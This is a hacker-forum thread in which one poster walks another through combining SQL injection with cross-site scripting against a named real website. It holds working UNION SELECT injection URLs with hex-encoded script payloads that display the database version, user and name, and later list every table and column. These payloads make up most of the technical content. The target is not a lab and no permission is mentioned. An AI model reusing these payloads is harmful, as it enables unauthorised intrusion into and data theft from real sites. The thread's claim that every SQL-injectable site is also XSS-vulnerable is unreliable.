(Aug 29, 2016 02:06 AM)Angel shanu Wrote:  sir i have 1 more question. can i xss the same website using sqli

Yes we can do it very easily just remember that every website that is vulnerable to SQL-Injection is vulnerable to XSS(Cross site scripting) but not every website that is vulnerable to XSS(Cross site scripting) is not vulnerable to SQL-Injection.

So lets start with our last query that i told you yesterday.




Target::

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99 


we know that our website have total 3 number of columns and 2 and 3 are vulnerable.

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,3-- - 


So, for doing XSS we should know what is XSS and how it really works.

What is XSS?
==>Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user's browser.

How XSS works?
==>In order to run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject a payload into a web page that the victim visits. Of course, an attacker could use social engineering techniques to convince a user to visit a vulnerable page with an injected JavaScript payload.

In order for an XSS attack to take place the vulnerable website needs to directly include user input in its pages. An attacker can then insert a string that will be used within the web page and treated as code by the victim’s browser.

So, here is simple XSS payload to get pop-up on our screen.

PHP Code


<?php 
<scrip>alert (0)</scrip> 


change it scrip with script.

So, now as we know its not the part of SQL so it should be in hex or in proper single or double quotes.

lets try our payload

So, we will use concat function.

PHP Code


<?php 
concat ('<scrip>alert('version::,v ersion (),in')</scrip>') 


so now it will pop version on the screen. Let's HEX it.

PHP Code


<?php 
concat (0x273c7363726970743e616c657274282776657273696f6e3a3a,version () ,0x696e27293c2f7363726970743e27) 


So, here is our version, database and user

PHP Code


<?php 
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,concat (0x273c7363726970743e616c6572742827496e6a656374656420627920737069726974656420776f6c663a3a56657273696f6e3a3a, v ersion () ,0x3a3a44617461626173653a3a, d atabase () ,0x3a3a557365723a3a, u ser (),0x696e27293c2f7363726970743e27)-- - 


Done thanks 🤝

[align=center][b]Check these thread 👍



==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>An ultimate reference for all Beginners Hackers<==

thanks 🤝

(Aug 29, 2016 02:37 AM)spirited_wolf™ Wrote:  

Yes we can do it very easily just remember that every website that is vulnerable to SQL-Injection is vulnerable to XSS(Cross site scripting) but not every website that is vulnerable to XSS(Cross site scripting) is not vulnerable to SQL-Injection.

So lets start with our last query that i told you yesterday.

(Aug 29, 2016 02:41 AM)Angel shanu Wrote:  too big sir but great explanation so we can also print tables and columns here??

(Aug 29, 2016 02:46 AM)spirited_wolf™ Wrote:  

I know it's big but i just wrote it to clear yours and other doubts if they have any 🙂

Thanks,

Regards Spirited_wolf 👍

(Aug 29, 2016 02:52 AM)Angel shanu Wrote:  I understand it sir but can you please give me example for printing tables and columns with this xss ??

Sure just remember that we can't use <br> tag because its HTML statement. So,in our query instead of it we can use \n in hex

So, here we go

Code

http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,concat (0x273c7363726970743e616c6572742827496e6a656374656420627920737069726974656420776f6c665c6e, ( s elect g roup _ concat (0x5461626c65206e616d653a3a5c6e,unhex (hex ( t able_name) ),0x5c6e436f6c756d6e206e616d653a3a, unhex (hex ( c olumn_name)),0x5c6e )f rom i nformation_Schema.c olumns w here t able_Schema=database ()),0x696e27293c2f7363726970743e27)-- -

Done thanks 👍

Regards Spirited_wolf 🤝

(Aug 29, 2016 03:09 AM)spirited_wolf™ Wrote:  Sure just remember that we can't use <br> tag because its HTML statement. So,in our query instead of it we can use \n in hex

(Aug 29, 2016 04:14 AM)DragonB00T Wrote:  nice hq tutorial keep up bro

(Aug 29, 2016 07:40 AM)GeneralPortion Wrote:  Thanks for your answer!

Haven't decided yet what to do lol, just focusing on making myself anon :D

(Aug 30, 2016 03:12 AM)Angel shanu Wrote:  sir i am getting error while setting up those vulnerable lab in my kali linux. I am using latest version can you please help me, sir

(Aug 30, 2016 03:18 AM)spirited_wolf™ Wrote:  

It's easy mate 🙂


But just remember few things before watching my tutorial.

1. As you said you are using latest version of Kali then your Apache directory is::


2.In latest Kali [because its not debugged properly] you can start your apache2 and mysql service using::


Best of luck 👍

Thanks 🤝

(Aug 30, 2016 03:21 AM)Angel shanu Wrote:  thanks sir for your realy with nice explanation and i will try it out and let you know if it worked or not 🤩

thank you sir🤩

(Aug 30, 2016 04:40 AM)spirited_wolf™ Wrote:  

Sure let me know 👍 if it didn't work then let me know i will try to short out your this problem 🎉
Thanks 🤝